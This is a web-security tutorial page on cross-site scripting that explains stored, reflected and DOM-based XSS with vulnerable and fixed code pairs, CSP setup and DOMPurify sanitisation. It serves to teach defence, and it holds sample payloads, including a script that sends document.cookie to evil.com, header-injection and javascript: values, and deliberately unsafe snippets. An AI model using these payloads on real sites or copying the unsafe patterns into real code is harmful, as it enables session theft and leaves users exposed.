Security — Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) occurs when an attacker injects malicious scripts into web pages viewed by other users. XSS is one of the most common web vulnerabilities and has been in the OWASP Top 10 for over a decade. It exploits the browser's trust in content from a particular origin.
XSS allows attackers to steal session tokens, redirect users, deface websites, and perform actions on behalf of victims. Understanding the three types of XSS and their mitigations is essential for every web developer.
| Type | Storage | Trigger | Severity |
|---|---|---|---|
| Stored XSS | Server database | Any user viewing the page | Critical |
| Reflected XSS | URL / request | Victim clicks a crafted link | High |
| DOM-based XSS | Client-side only | Browser executes unsafe DOM manipulation | High |
Stored XSS (also called persistent XSS) occurs when malicious input is saved to the server and served to other users without sanitization. This is the most dangerous type because it affects every user who views the compromised content.
| 1 | // Stored XSS attack scenario |
| 2 | // 1. Attacker submits a comment with malicious script |
| 3 | // POST /api/comments |
| 4 | { |
| 5 | "body": "Great article! <script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>" |
| 6 | } |
| 7 | |
| 8 | // 2. Server stores the raw input in the database |
| 9 | await db.comments.create({ |
| 10 | body: req.body.body, // Raw, unsanitized input stored |
| 11 | userId: req.session.userId, |
| 12 | }); |
| 13 | |
| 14 | // 3. When any user views the page, the script executes in their browser |
| 15 | // The attacker steals their session cookie |
| 16 | |
| 17 | // ──────────────────────────────────────────── |
| 18 | // Prevention: Sanitize on save, encode on output |
| 19 | |
| 20 | import DOMPurify from 'isomorphic-dompurify'; |
| 21 | |
| 22 | // Option A: Sanitize before storing |
| 23 | const clean = DOMPurify.sanitize(req.body.body, { |
| 24 | ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'], |
| 25 | ALLOWED_ATTR: ['href', 'target', 'rel'], |
| 26 | }); |
| 27 | await db.comments.create({ body: clean }); |
| 28 | |
| 29 | // Option B: Encode on output (preferred — preserves original) |
| 30 | // In your template/renderer, always use context-aware encoding |
| 31 | // EJS: <%- body %> is UNSAFE, <%= body %> is SAFE |
| 32 | // React: {body} is SAFE (auto-escapes), dangerouslySetInnerHTML is NOT |
| 33 | // Handlebars: {{body}} is SAFE, {{{body}}} is NOT |
danger
Reflected XSS occurs when user input from a request (query parameters, form fields) is included in the HTML response without sanitization. The malicious payload is not stored — it is reflected back immediately from the server.
| 1 | // Reflected XSS — search feature |
| 2 | // URL: https://example.com/search?q=<script>alert('xss')</script> |
| 3 | |
| 4 | // BAD — unsanitized query parameter rendered in HTML |
| 5 | app.get('/search', (req, res) => { |
| 6 | const query = req.query.q; |
| 7 | res.send(` |
| 8 | <h1>Search results for: ${query}</h1> |
| 9 | <p>No results found.</p> |
| 10 | `); |
| 11 | }); |
| 12 | |
| 13 | // GOOD — encode output |
| 14 | import escapeHtml from 'escape-html'; |
| 15 | |
| 16 | app.get('/search', (req, res) => { |
| 17 | const query = escapeHtml(req.query.q || ''); |
| 18 | res.send(` |
| 19 | <h1>Search results for: ${query}</h1> |
| 20 | <p>No results found.</p> |
| 21 | `); |
| 22 | }); |
| 23 | |
| 24 | // Also reflected in HTTP headers |
| 25 | // BAD — header injection |
| 26 | res.setHeader('X-Custom', req.query.value); // Attacker: \r\nInjected-Header: evil |
| 27 | |
| 28 | // GOOD — validate and sanitize |
| 29 | const safeValue = req.query.value.replace(/[^a-zA-Z0-9-]/g, ''); |
| 30 | res.setHeader('X-Custom', safeValue); |
| 31 | |
| 32 | // Reflected XSS in error messages |
| 33 | // BAD |
| 34 | res.status(400).json({ error: `Invalid parameter: ${req.query.id}` }); |
| 35 | |
| 36 | // GOOD — don't reflect user input in errors |
| 37 | res.status(400).json({ error: 'Invalid parameter' }); |
info
DOM-based XSS occurs entirely in the browser. The server sends a safe page, but client-side JavaScript processes untrusted data and writes it into the DOM unsafely. The payload never reaches the server, making it invisible to server-side security measures.
| 1 | // DOM-based XSS — unsafe client-side rendering |
| 2 | // URL: https://example.com/page#<img src=x onerror=alert(document.cookie)> |
| 3 | |
| 4 | // BAD — writing to innerHTML with user-controlled data |
| 5 | const fragment = document.location.hash.substring(1); |
| 6 | document.getElementById('output').innerHTML = decodeURIComponent(fragment); |
| 7 | |
| 8 | // BAD — using document.write with URL parameters |
| 9 | const name = new URLSearchParams(window.location.search).get('name'); |
| 10 | document.write('<h1>Welcome, ' + name + '</h1>'); |
| 11 | |
| 12 | // BAD — eval with any user input |
| 13 | const config = eval('(' + window.location.hash.substring(1) + ')'); |
| 14 | |
| 15 | // GOOD — use textContent instead of innerHTML |
| 16 | const fragment = document.location.hash.substring(1); |
| 17 | document.getElementById('output').textContent = decodeURIComponent(fragment); |
| 18 | |
| 19 | // GOOD — use safe DOM APIs |
| 20 | const name = new URLSearchParams(window.location.search).get('name'); |
| 21 | const h1 = document.createElement('h1'); |
| 22 | h1.textContent = 'Welcome, ' + (name || 'Guest'); |
| 23 | document.body.appendChild(h1); |
| 24 | |
| 25 | // GOOD — avoid eval entirely, use JSON.parse |
| 26 | try { |
| 27 | const config = JSON.parse(decodeURIComponent(window.location.hash.substring(1))); |
| 28 | } catch { |
| 29 | console.error('Invalid configuration'); |
| 30 | } |
| 31 | |
| 32 | // Common DOM XSS sinks to avoid: |
| 33 | // - innerHTML, outerHTML, document.write, document.writeln |
| 34 | // - element.insertAdjacentHTML |
| 35 | // - eval(), setTimeout(), setInterval() with string argument |
| 36 | // - new Function() with string argument |
| 37 | // - window.location, document.location, document.URL |
| 38 | // - element.src, element.href, element.action (set with user data) |
warning
CSP is a browser-level defense that restricts which resources (scripts, styles, images, frames) can be loaded and executed. Even if XSS occurs, a properly configured CSP can prevent the injected script from executing or phoning home.
| 1 | // Content Security Policy — configuring in Express |
| 2 | import helmet from 'helmet'; |
| 3 | |
| 4 | app.use(helmet({ |
| 5 | contentSecurityPolicy: { |
| 6 | directives: { |
| 7 | // Default: only load from same origin |
| 8 | defaultSrc: ["'self'"], |
| 9 | |
| 10 | // Scripts: only from same origin, with nonce for inline |
| 11 | scriptSrc: ["'self'", "'nonce-{random}'"], |
| 12 | |
| 13 | // Styles: same origin + inline (needed for many UI libraries) |
| 14 | styleSrc: ["'self'", "'unsafe-inline'"], |
| 15 | |
| 16 | // Images: same origin, data URIs, and HTTPS |
| 17 | imgSrc: ["'self'", 'data:', 'https:'], |
| 18 | |
| 19 | // AJAX/WebSocket connections |
| 20 | connectSrc: ["'self'", 'https://api.example.com', 'wss://ws.example.com'], |
| 21 | |
| 22 | // No frames allowed |
| 23 | frameSrc: ["'none'"], |
| 24 | |
| 25 | // No plugins |
| 26 | objectSrc: ["'none'"], |
| 27 | |
| 28 | // Upgrade mixed content to HTTPS |
| 29 | upgradeInsecureRequests: [], |
| 30 | }, |
| 31 | }, |
| 32 | })); |
| 33 | |
| 34 | // Nonce-based CSP (per-request unique nonce) |
| 35 | // Generate a unique nonce for each request |
| 36 | import crypto from 'crypto'; |
| 37 | |
| 38 | app.use((req, res, next) => { |
| 39 | const nonce = crypto.randomBytes(16).toString('base64'); |
| 40 | res.locals.cspNonce = nonce; |
| 41 | res.setHeader( |
| 42 | 'Content-Security-Policy', |
| 43 | `default-src 'self'; script-src 'self' 'nonce-${nonce}'; style-src 'self' 'unsafe-inline'` |
| 44 | ); |
| 45 | next(); |
| 46 | }); |
| 47 | |
| 48 | // In your template, add the nonce to script tags: |
| 49 | // <script nonce="{res.locals.cspNonce}"> ... </script> |
| 50 | |
| 51 | // Report-Only mode (test before enforcing) |
| 52 | app.use(helmet({ |
| 53 | contentSecurityPolicyReportOnly: true, |
| 54 | reportUri: '/csp-report', |
| 55 | })); |
| 56 | |
| 57 | // Handling CSP violation reports |
| 58 | app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => { |
| 59 | console.warn('[CSP Violation]', JSON.stringify(req.body)); |
| 60 | res.status(204).end(); |
| 61 | }); |
best practice
When you need to allow rich HTML (comments, descriptions, user profiles), use a whitelist-based sanitizer like DOMPurify. It strips all dangerous elements and attributes while preserving safe formatting.
| 1 | // DOMPurify — safe HTML sanitization |
| 2 | import DOMPurify from 'isomorphic-dompurify'; |
| 3 | |
| 4 | // Basic usage — strip everything except safe HTML |
| 5 | const dirty = '<p>Hello <script>alert("xss")</script><img src=x onerror="steal()"><b>world</b></p>'; |
| 6 | const clean = DOMPurify.sanitize(dirty); |
| 7 | // Result: <p>Hello <b>world</b></p> |
| 8 | |
| 9 | // Configure allowed tags and attributes |
| 10 | const clean = DOMPurify.sanitize(dirty, { |
| 11 | ALLOWED_TAGS: ['p', 'b', 'i', 'em', 'strong', 'a', 'br', 'ul', 'ol', 'li', 'code', 'pre'], |
| 12 | ALLOWED_ATTR: ['href', 'target', 'rel', 'class'], |
| 13 | ALLOW_DATA_ATTR: false, // Prevent data-* attributes |
| 14 | ADD_ATTR: ['target'], // Add specific attributes |
| 15 | FORBID_TAGS: ['style', 'form', 'input'], |
| 16 | FORBID_ATTR: ['onerror', 'onclick', 'onload'], |
| 17 | }); |
| 18 | |
| 19 | // For a rich text editor (e.g., blog posts, comments) |
| 20 | const allowedConfig = { |
| 21 | ALLOWED_TAGS: [ |
| 22 | 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', |
| 23 | 'p', 'br', 'hr', |
| 24 | 'b', 'i', 'em', 'strong', 'u', 's', 'mark', |
| 25 | 'a', 'img', |
| 26 | 'ul', 'ol', 'li', |
| 27 | 'blockquote', 'pre', 'code', |
| 28 | 'table', 'thead', 'tbody', 'tr', 'th', 'td', |
| 29 | ], |
| 30 | ALLOWED_ATTR: [ |
| 31 | 'href', 'src', 'alt', 'title', 'width', 'height', |
| 32 | 'target', 'rel', 'class', 'id', |
| 33 | ], |
| 34 | ALLOW_DATA_ATTR: false, |
| 35 | }; |
| 36 | |
| 37 | // Sanitize user profile bio |
| 38 | app.put('/api/profile/bio', (req, res) => { |
| 39 | const { bio } = req.body; |
| 40 | |
| 41 | if (typeof bio !== 'string') { |
| 42 | return res.status(400).json({ error: 'Bio must be a string' }); |
| 43 | } |
| 44 | |
| 45 | if (bio.length > 5000) { |
| 46 | return res.status(400).json({ error: 'Bio too long (max 5000 chars)' }); |
| 47 | } |
| 48 | |
| 49 | const cleanBio = DOMPurify.sanitize(bio, allowedConfig); |
| 50 | // Store cleanBio, never the raw input |
| 51 | db.users.update(req.session.userId, { bio: cleanBio }); |
| 52 | res.json({ bio: cleanBio }); |
| 53 | }); |
danger
Modern frameworks auto-escape output by default, but there are specific patterns that bypass these protections. Knowing the escape hatches in your framework is critical.
| 1 | // React — auto-escapes by default, but these patterns are unsafe |
| 2 | |
| 3 | // SAFE — JSX auto-escapes |
| 4 | function UserProfile({ name }) { |
| 5 | return <div>{name}</div>; // name is escaped |
| 6 | } |
| 7 | |
| 8 | // UNSAFE — dangerouslySetInnerHTML |
| 9 | function UserProfile({ bio }) { |
| 10 | return <div dangerouslySetInnerHTML={{ __html: bio }} />; // XSS if bio is user input |
| 11 | } |
| 12 | |
| 13 | // SAFE — sanitize before using dangerouslySetInnerHTML |
| 14 | import DOMPurify from 'isomorphic-dompurify'; |
| 15 | |
| 16 | function UserProfile({ bio }) { |
| 17 | return <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(bio) }} />; |
| 18 | } |
| 19 | |
| 20 | // UNSAFE — href with user input |
| 21 | function UserLink({ url }) { |
| 22 | return <a href={url}>Link</a>; // javascript: protocol possible |
| 23 | } |
| 24 | |
| 25 | // SAFE — validate URL protocol |
| 26 | function UserLink({ url }) { |
| 27 | const safeUrl = url.startsWith('http://') || url.startsWith('https://') ? url : '#'; |
| 28 | return <a href={safeUrl} rel="noopener noreferrer">Link</a>; |
| 29 | } |
| 30 | |
| 31 | // UNSAFE — JSX expression with user input in attributes |
| 32 | <img src={userInput} /> // Could be: javascript:alert(1) |
| 33 | |
| 34 | // ──────────────────────────────────────────── |
| 35 | |
| 36 | // Next.js — App Router (RSC) is safe by default |
| 37 | // Server Components cannot use dangerouslySetInnerHTML accidentally |
| 38 | // Client Components have the same rules as React |
| 39 | |
| 40 | // Vue — auto-escapes in {{ }} and v-bind, but v-html is unsafe |
| 41 | // <div v-html="userInput"></div> <!-- XSS! --> |
| 42 | // <div>{{ userInput }}</div> <!-- SAFE --> |
| 43 | |
| 44 | // Svelte — auto-escapes with {}, but {@html } is unsafe |
| 45 | // {@html userInput} <!-- XSS! --> |
| 46 | // {userInput} <!-- SAFE --> |
XSS prevention requires encoding output differently depending on where the data is rendered. HTML context, JavaScript context, URL context, and CSS context each have different encoding rules.
| 1 | // Context-aware encoding — each context needs different escaping |
| 2 | |
| 3 | // HTML context (inside a tag's text content) |
| 4 | // Encode: < > & " ' |
| 5 | import escapeHtml from 'escape-html'; |
| 6 | const html = escapeHtml(userInput); |
| 7 | // <script> → <script> |
| 8 | |
| 9 | // HTML attribute context (inside an attribute value) |
| 10 | // Must be quoted AND encoded |
| 11 | const attr = escapeHtml(userInput); |
| 12 | // Use: <div title="{attr}"> |
| 13 | |
| 14 | // JavaScript context (inside a <script> tag) |
| 15 | // NEVER put user input directly in JavaScript |
| 16 | // If unavoidable, JSON.stringify and validate |
| 17 | const safe = JSON.stringify(userInput); |
| 18 | // Use: var data = {safe}; |
| 19 | |
| 20 | // URL context (in href, src, action) |
| 21 | // Encode everything except allowed URL characters |
| 22 | const url = encodeURIComponent(userInput); |
| 23 | // Use: <a href="/redirect?url={url}"> |
| 24 | |
| 25 | // CSS context (in style attributes or <style> tags) |
| 26 | // NEVER allow user input in CSS — it can execute JavaScript |
| 27 | // CSS: url("javascript:alert(1)") |
| 28 | |
| 29 | // Best practice: don't concatenate strings into HTML |
| 30 | // Use a template engine with auto-escaping instead |
| 31 | // EJS: <%= variable %> (escaped) vs <%- variable %> (raw) |
| 32 | // Pug: #{variable} (escaped) vs !{variable} (raw) |
| 33 | // Handlebars: {{variable}} (escaped) vs {{{variable}}} (raw) |
| 34 | |
| 35 | // Double encoding prevention |
| 36 | // Some applications decode input once, then serve it — the second decode executes the payload |
| 37 | // Always encode once and serve the encoded output directly |
| Defense | Protects Against | Layer |
|---|---|---|
| Output encoding | All XSS types | Application |
| DOMPurify sanitization | Stored XSS (rich text) | Application |
| CSP with nonces | All XSS (script execution) | Browser |
| HttpOnly cookies | Cookie theft via XSS | Browser |
| Framework auto-escaping | Reflected + Stored XSS | Application |
| Trusted Types | DOM XSS | Browser API |
- Never use innerHTML, outerHTML, or document.write with user-controlled data.
- Use textContent or framework auto-escaping for all user-provided content.
- Sanitize rich HTML with DOMPurify — never write your own sanitizer.
- Deploy CSP with nonces or hashes — start in report-only mode, then enforce.
- Validate and sanitize input on the server, even if the client validates it.
- Use HttpOnly cookies for session tokens to prevent XSS-based token theft.
- Set Trusted Types in your Content Security Policy to prevent DOM XSS.
- Audit code for innerHTML usage — it is the single biggest source of DOM XSS.
- Use SAST tools to detect XSS patterns in CI/CD pipelines.
- Test XSS with payloads from PortSwigger's XSS cheat sheet, not just <script>alert</script>.
info